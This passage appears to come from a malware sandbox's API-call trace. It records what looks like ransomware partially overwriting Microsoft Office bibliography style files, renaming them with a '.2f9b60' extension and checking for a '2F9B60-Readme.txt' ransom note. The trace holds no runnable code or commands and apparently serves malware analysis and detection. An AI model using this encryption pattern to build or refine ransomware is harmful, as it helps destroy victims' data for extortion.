hFile=0xdb0, lpBuffer=0x42912670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ffcfae0, lpOverlapped=0x0 | out: lpBuffer=0x42912670*, lpNumberOfBytesWritten=0x1ffcfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42912670) returned 1 [0198.390] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x38145, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.390] ReadFile (in: hFile=0xdb0, lpBuffer=0x42000d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ffcfae0, lpOverlapped=0x0 | out: lpBuffer=0x42000d80*, lpNumberOfBytesRead=0x1ffcfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.456] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x38145, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359e0 [0198.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431359e0) returned 1 [0198.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fea520 [0198.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359e0 [0198.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135a40 [0198.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135a40) returned 1 [0198.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.460] WriteFile (in: hFile=0xdb0, lpBuffer=0x41fea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ffcfae0, lpOverlapped=0x0 | out: lpBuffer=0x41fea520*, lpNumberOfBytesWritten=0x1ffcfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fea520) returned 1 [0214.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104bf0 [0214.851] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.852] WriteFile (in: hFile=0xdb0, lpBuffer=0x1cebdd20*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1ffcfb90, lpOverlapped=0x0 | out: lpBuffer=0x1cebdd20*, lpNumberOfBytesWritten=0x1ffcfb90*=0x146, lpOverlapped=0x0) returned 1 [0219.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0219.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0219.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0219.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0219.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0219.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0219.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ad720 [0219.176] sprintf (in: _Dest=0x431ad720, _Format="%c%c" | out: _Dest="6c") returned 2 [0219.176] sprintf (in: _Dest=0x431ad722, _Format="%c%c" | out: _Dest="7c") returned 2 [0219.176] sprintf (in: _Dest=0x431ad724, _Format="%c%c" | out: _Dest="0d") returned 2 [0219.176] sprintf (in: _Dest=0x431ad726, _Format="%c%c" | out: _Dest="85") returned 2 [0219.176] sprintf (in: _Dest=0x431ad728, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.176] sprintf (in: _Dest=0x431ad72a, _Format="%c%c" | out: _Dest="17") returned 2 [0219.176] sprintf (in: _Dest=0x431ad72c, _Format="%c%c" | out: _Dest="fc") returned 2 [0219.176] sprintf (in: _Dest=0x431ad72e, _Format="%c%c" | out: _Dest="52") returned 2 [0219.176] sprintf (in: _Dest=0x431ad730, _Format="%c%c" | out: _Dest="8f") returned 2 [0219.176] sprintf (in: _Dest=0x431ad732, _Format="%c%c" | out: _Dest="d3") returned 2 [0219.176] sprintf (in: _Dest=0x431ad734, _Format="%c%c" | out: _Dest="9c") returned 2 [0219.176] sprintf (in: _Dest=0x431ad736, _Format="%c%c" | out: _Dest="be") returned 2 [0219.176] sprintf (in: _Dest=0x431ad738, _Format="%c%c" | out: _Dest="0c") returned 2 [0219.176] sprintf (in: _Dest=0x431ad73a, _Format="%c%c" | out: _Dest="32") returned 2 [0219.176] sprintf (in: _Dest=0x431ad73c, _Format="%c%c" | out: _Dest="21") returned 2 [0219.176] sprintf (in: _Dest=0x431ad73e, _Format="%c%c" | out: _Dest="f8") returned 2 [0219.176] sprintf (in: _Dest=0x431ad740, _Format="%c%c" | out: _Dest="8f") returned 2 [0219.176] sprintf (in: _Dest=0x431ad742, _Format="%c%c" | out: _Dest="79") returned 2 [0219.176] sprintf (in: _Dest=0x431ad744, _Format="%c%c" | out: _Dest="0f") returned 2 [0219.176] sprintf (in: _Dest=0x431ad746, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.176] RtlInitAnsiString (in: DestinationString=0x1ffcfc08, SourceString="6c7c0d85d417fc528fd39cbe0c3221f88f790f6d" | out: DestinationString="6c7c0d85d417fc528fd39cbe0c3221f88f790f6d") [0219.176] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ffcfbd8, SourceString="6c7c0d85d417fc528fd39cbe0c3221f88f790f6d", AllocateDestinationString=1 | out: DestinationString="6c7c0d85d417fc528fd39cbe0c3221f88f790f6d") returned 0x0 [0219.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858c10 [0219.177] wcscat (in: _Dest=0x4315fd20, _Source="6c7c0d85d4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\6c7c0d85d4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\6c7c0d85d4" [0219.177] wcscat (in: _Dest=0x4315fd20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\6c7c0d85d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\6c7c0d85d4.2f9b60" [0219.177] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\6c7c0d85d4.2f9b60", NtPathName=0x1ffcfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\6c7c0d85d4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310db70 [0234.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310db70) returned 1 [0234.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307e6d0) returned 1 [0234.363] NtQueryInformationFile (in: FileHandle=0xdb0, IoStatusBlock=0x1ffcfc18, FileInformation=0x1ffcfc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ffcfc18, FileInformation=0x1ffcfc28) returned 0x0 [0234.363] NtSetInformationFile (FileHandle=0xdb0, IoStatusBlock=0x1ffcfc18, FileInformation=0x1ffcfc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0239.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315fd20) returned 1 [0239.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858c10) returned 1 [0239.483] FlushFileBuffers (hFile=0xdb0) returned 1 [0240.095] CloseHandle (hObject=0xdb0) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11290 [0242.753] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0242.753] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0242.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0242.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c150) returned 1 Thread: id = 1535 os_tid = 0x1a50 [0121.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl")) returned 0x20 [0121.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL", dwFileAttributes=0x20) returned 1 [0121.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xda4 [0121.542] GetFileSizeEx (in: hFile=0xda4, lpFileSize=0x20e6f720 | out: lpFileSize=0x20e6f720*=338445) returned 1 [0121.542] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x52a09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.542] ReadFile (in: hFile=0xda4, lpBuffer=0x20e6f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20e6f6e8, lpOverlapped=0x0 | out: lpBuffer=0x20e6f6a0*, lpNumberOfBytesRead=0x20e6f6e8*=0x4, lpOverlapped=0x0) returned 1 [0122.333] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96d0 [0122.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab130 [0122.333] NtQuerySystemTime (in: CurrentTime=0x20e6f5e0 | out: CurrentTime=0x20e6f5e0*=132462177277090000) returned 0x0 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x9f2dcfc [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x449bd342 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x2f0f0591 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x57c7d473 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x7d4fed4 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x219aa092 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x5d5bf672 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x5b456966 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x16094100 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x7bd17198 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x5be6ac04 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x163419c0 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x70563040 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x449bd342 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x452b6b31 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x26a31f96 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x69c5ff5b [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x4b460302 [0122.333] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x3a1faab0 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x502aee34 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x63b64833 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x594cc61a [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x5caa27e4 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x2dfd1927 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x63b64833 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x10e063f2 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x318c7e87 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x69d1c9e1 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x5a1ad2d7 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x4a4c7070 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x4ff1b9f4 [0122.334] RtlRandomEx (in: Seed=0x20e6f5d0 | out: Seed=0x20e6f5d0) returned 0x38dde29a [0124.492] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.492] ReadFile (in: hFile=0xda4, lpBuffer=0x4200c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e6f640, lpOverlapped=0x0 | out: lpBuffer=0x4200c1b0*, lpNumberOfBytesRead=0x20e6f640*=0x3c00, lpOverlapped=0x0) returned 1 [0124.873] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aea0 [0124.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aea0) returned 1 [0124.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b66910 [0124.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aea0 [0124.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0124.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0124.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.874] WriteFile (hFile=0xda4, lpBuffer=0x41b66910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e6f640, lpOverlapped=0x0) [0179.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b66910) returned 1 [0179.970] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.971] ReadFile (in: hFile=0xda4, lpBuffer=0x4200c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e6f640, lpOverlapped=0x0 | out: lpBuffer=0x4200c1b0*, lpNumberOfBytesRead=0x20e6f640*=0x3c00, lpOverlapped=0x0) returned 1 [0182.064] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2efd0 [0182.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2efd0) returned 1 [0182.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4236e130 [0182.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2efd0 [0182.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f000 [0182.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f000) returned 1 [0182.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.068] WriteFile (in: hFile=0xda4, lpBuffer=0x4236e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e6f640, lpOverlapped=0x0 | out: lpBuffer=0x4236e130*, lpNumberOfBytesWritten=0x20e6f640*=0x3c00, lpOverlapped=0x0) returned 1 [0198.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4236e130) returned 1 [0198.758] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x4ee0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.758] ReadFile (in: hFile=0xda4, lpBuffer=0x4200c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e6f640, lpOverlapped=0x0 | out: lpBuffer=0x4200c1b0*, lpNumberOfBytesRead=0x20e6f640*=0x3c00, lpOverlapped=0x0) returned 1 [0199.121] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x4ee0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c310 [0199.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c310) returned 1 [0199.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ae500 [0199.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c310 [0199.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c340 [0199.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c340) returned 1 [0199.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.124] WriteFile (in: hFile=0xda4, lpBuffer=0x423ae500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e6f640, lpOverlapped=0x0 | out: lpBuffer=0x423ae500*, lpNumberOfBytesWritten=0x20e6f640*=0x3c00, lpOverlapped=0x0) returned 1 [0214.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ae500) returned 1 [0214.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431049c0 [0214.788] SetFilePointerEx (in: hFile=0xda4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.788] WriteFile (in: hFile=0xda4, lpBuffer=0x431f5bc0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x20e6f6f0, lpOverlapped=0x0 | out: lpBuffer=0x431f5bc0*, lpNumberOfBytesWritten=0x20e6f6f0*=0x14a, lpOverlapped=0x0) returned 1 [0218.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0218.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f50 [0218.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f50) returned 1 [0218.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f50 [0218.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f20 [0218.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f20) returned 1 [0218.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0218.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad6a0 [0218.800] sprintf (in: _Dest=0x431ad6a0, _Format="%c%c" | out: _Dest="4d") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6a2, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6a4, _Format="%c%c" | out: _Dest="0f") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6a6, _Format="%c%c" | out: _Dest="ad") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6a8, _Format="%c%c" | out: _Dest="6d") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6aa, _Format="%c%c" | out: _Dest="e6") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6ac, _Format="%c%c" | out: _Dest="75") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6ae, _Format="%c%c" | out: _Dest="90") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6b0, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6b2, _Format="%c%c" | out: _Dest="c0") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6b4, _Format="%c%c" | out: _Dest="c7") returned 2 [0218.800] sprintf (in: _Dest=0x431ad6b6, _Format="%c%c" | out: _Dest="ff") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6b8, _Format="%c%c" | out: _Dest="c6") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6ba, _Format="%c%c" | out: _Dest="de") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6bc, _Format="%c%c" | out: _Dest="ed") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6be, _Format="%c%c" | out: _Dest="78") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6c0, _Format="%c%c" | out: _Dest="8e") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6c2, _Format="%c%c" | out: _Dest="18") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6c4, _Format="%c%c" | out: _Dest="03") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6c6, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6c8, _Format="%c%c" | out: _Dest="e4") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6ca, _Format="%c%c" | out: _Dest="65") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6cc, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.801] sprintf (in: _Dest=0x431ad6ce, _Format="%c%c" | out: _Dest="e2") returned 2 [0218.801] RtlInitAnsiString (in: DestinationString=0x20e6f768, SourceString="4de70fad6de67590eac0c7ffc6deed788e1803e3e465abe2" | out: DestinationString="4de70fad6de67590eac0c7ffc6deed788e1803e3e465abe2") [0218.801] RtlAnsiStringToUnicodeString (in: DestinationString=0x20e6f738, SourceString="4de70fad6de67590eac0c7ffc6deed788e1803e3e465abe2", AllocateDestinationString=1 | out: DestinationString="4de70fad6de67590eac0c7ffc6deed788e1803e3e465abe2") returned 0x0 [0218.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104800 [0218.802] wcscat (in: _Dest=0x43109fe0, _Source="4de70fad6de6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\4de70fad6de6") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\4de70fad6de6" [0218.802] wcscat (in: _Dest=0x43109fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\4de70fad6de6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\4de70fad6de6.2f9b60" [0218.802] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\4de70fad6de6.2f9b60", NtPathName=0x20e6f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\4de70fad6de6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43100530 [0237.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43100530) returned 1 [0237.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43076e80) returned 1 [0237.878] NtQueryInformationFile (in: FileHandle=0xda4, IoStatusBlock=0x20e6f778, FileInformation=0x20e6f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20e6f778, FileInformation=0x20e6f788) returned 0x0 [0237.878] NtSetInformationFile (FileHandle=0xda4, IoStatusBlock=0x20e6f778, FileInformation=0x20e6f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43109fe0) returned 1 [0240.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43104800) returned 1 [0240.146] FlushFileBuffers (hFile=0xda4) returned 1 [0240.152] CloseHandle (hObject=0xda4) returned 1 [0242.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 